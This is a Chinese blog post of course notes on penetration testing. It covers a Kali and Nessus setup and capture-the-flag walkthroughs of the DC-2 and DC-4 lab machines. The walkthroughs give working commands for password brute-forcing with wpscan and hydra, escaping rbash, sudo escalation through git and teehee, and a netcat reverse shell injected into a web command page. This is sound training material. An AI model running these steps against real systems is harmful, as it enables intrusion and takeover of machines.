Li Yingping's Studio.

《软件综合训练》实训笔记

字数统计: 1.6k阅读时长: 6 min
2019/09/14

学习环境准备


WSL2上的Kali Linux

  • 在Windows“程序与功能”中确认开启WSL(Windows Subsystem for Linux)之后,Kali Linux子系统的安装步骤如下:

    1. 打开Windows应用商店,商店内搜索Kali Linux,下载并安装。(大小约为200M)

    2. 启动Kali,等待一段时间后会提示

虚拟机与靶机资源

  • PASS

远程访问内网的两种方案

  • PASS

Windows内置VPN

  • PASS

NetShell端口转发

  • PASS

基础技能学习


扫描技术

AWVS扫描器

  • PASS

Nessus扫描器

  • Nessus的安装步骤如下:

    1. Nessus需要注册码,对于个人用户注册是免费的,注册地址是https://zh-cn.tenable.com/products/nessus/nessus-essentials,注册后很快就能在预留邮箱中收到你的注册码。

    2. 下载Nessus,这里以Windows 10为例,下载64位的Nessus软件,下载地址是https://www.tenable.com/downloads/nessus,其他系统和版本的Nessus应用这里也有下载地址。

    3. 安装Nessus,打开应用,忽视掉https的安全风险提示,继续打开页面,选择Nessus Essentials产品,输入注册码,并设定用户名和密码,等待一段时间,这段时间里会完成插件下载和安装。如果安装失败,可以进入安装目录,通过以管理员权限启动命令行,通过CLI工具修复。

      1
      2
      cd "C:\Program Files\Tenable\Nessus"
      nessuscli update
  • Nessus Advanced Scan为例,Nessus的扫描结果如下,下图一份是简要的报告,从中可以看出Nessus Advanced Scan的部分扫描功能:

提权技术

Redis - Crontab提权

  • PASS

Windows、Linux提权

  • PASS

MySQL提权

  • PASS

靶机渗透和夺旗笔记


DC-2

  • DC-2靶机渗透笔记:

    1. 通过ip a指令查看本机IP,其地址为192.168.136.128/24,通过nmap -sT 192.168.136.128/24扫描局域网,获取DC-2靶机的地址。

    2. 发现靶机地址为192.168.136.130,通过nmap -p- -A 192.168.136.130扫描靶机端口。

    3. 发现了靶机80端口开放了一个Wordpress网页,并在7744端口开放了SSH服务,先做一个本地DNS解析,在/etc/hosts中添加一条记录192.168.136.130 dc-2,打开FireFox浏览器,访问http://dc-2,在博客页面可以看到Flag1。

    4. Flag1提示可以使用cewl工具获取字典,在终端执行cewl http://dc-2 -w passwd.txt,使用wpscan工具对Wordpress站点进行扫描,运行wpscan --url dc-2 -e p -e t -e u扫描站点,发现了adminjerrytom三个用户,使用wpscan --url dc-2 -P passwd.txt命令调用密码字典对用户密码进行爆破,得到两组用户名和密码。

    5. 分别尝试使用Tom和Jerry的身份登录站点(Wordpress的后台登陆地址是http://dc-2/wp-login.php),Tom的身份下一无所获,Jerry的身份中有一篇文章,里面有第二条线索。

    6. Flag2提示我们应该寻找新的入口,之前端口扫描的结果中,在靶机的7744端口上有SSH服务,所以使用Tom和Jerry的身份继续尝试SSH链接。使用ssh tom@192.168.136.130 -p 7744输入密码成功连入靶机,在Tom的用户目录下发现了Flag3,但是不能使用cat命令打开,提示-rbash: cat: command not found,查看tom用户环境变量下的bin目录,发现可以使用vi编辑器,于是可以通过vi来绕过rbash限制。

      1
      2
      3
      4
      5
      6
      # Bash
      vi

      # VI Editor
      :set shell=/bin/sh
      :shell
    7. 绕过rbash限制之后,重设SHELLPATH的环境变量,这时cat命令已经可以使用,通过cat flag3.txt可以看到下一步的提示。

    8. Flag3提示可能需要切换到Jerry用户下,使用su jerry命令,输入密码,在当前目录下发现第四个Flag,使用cat命令查看。

    9. Flag4中提到了git,通过sudo -l可以发现Jerry可以无密码的执行git命令。于是使用sudo git help add打开Git帮助信息,输入!/bin/bash进行git提权,打开一个拥有root用户的命令行,在root用户的home目录下,我们发现了最终的Flag,渗透结束。

DC-4

  • DC-4靶机渗透笔记:

    1. 通过ip a指令查看本机IP,其地址为192.168.136.128/24,通过nmap -sT 192.168.136.128/24扫描局域网,获取DC-2靶机的地址。

    2. 发现靶机地址为192.168.136.131,通过nmap -p- -A 192.168.136.131扫描靶机端口。

    3. 从扫描结果可知,靶机的80端口上运行了一个Web应用,打开应用,发现只有一个登陆页面,使用hydra对admin用户进行爆破,运行hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 10 dc-4 http-form-post "/login.php:username=^USER^&password=^PASS^:S=logout" -F命令,爆破结果显示,使用密码happy可以登录admin用户。

    4. 登录之后发现,该页面可以在线执行命令,于是尝试在前端修改对应的命令,将靶机的终端反射到Kali上。在终端运行nc -lvp 7777监听7777端口,修改网页中的指令为nc -nv 192.168.136.128 7777 -e /bin/bash,点击执行后,就会发现本地终端建立了靶机的连接。

    5. 运行python -c 'import pty; pty.spawn("/bin/bash")'打开终端,在靶机中可以发现/home目录下有三个用户,CharlesJimSam,继续访问发现Jim的用户目录下有一个backups文件夹,里面有一份名为old-passwords.bak的文件,将其下载到本地,通过hydra针对靶机的Jim用户进行SSH的登录爆破,发现密码是jibril04

    6. 运行ssh jim@dc-4用刚刚获得的密码登录靶机,发现有一封邮件的提示,切换到/var/mail文件夹下,查看Jim邮件,在邮件中,我们可以获得到Charles的密码。

    7. 执行su charles命令,使用刚刚邮件中获得密码切换到Charles用户。通过sudo -l命令,发现该用户可以无密码的执行teehee命令,通过teehee --help指令,我们发现该指令有写入文件的权限,于是我们通过echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers命令进行提权。

    8. 获得Super权限之后,在root用户的目录下即可看到最终的Flag。

CATALOG
  1. 1. 学习环境准备
    1. 1.1. WSL2上的Kali Linux
    2. 1.2. 虚拟机与靶机资源
    3. 1.3. 远程访问内网的两种方案
      1. 1.3.1. Windows内置VPN
      2. 1.3.2. NetShell端口转发
  2. 2. 基础技能学习
    1. 2.1. 扫描技术
      1. 2.1.1. AWVS扫描器
      2. 2.1.2. Nessus扫描器
    2. 2.2. 提权技术
      1. 2.2.1. Redis - Crontab提权
      2. 2.2.2. Windows、Linux提权
      3. 2.2.3. MySQL提权
  3. 3. 靶机渗透和夺旗笔记
    1. 3.1. DC-2
    2. 3.2. DC-4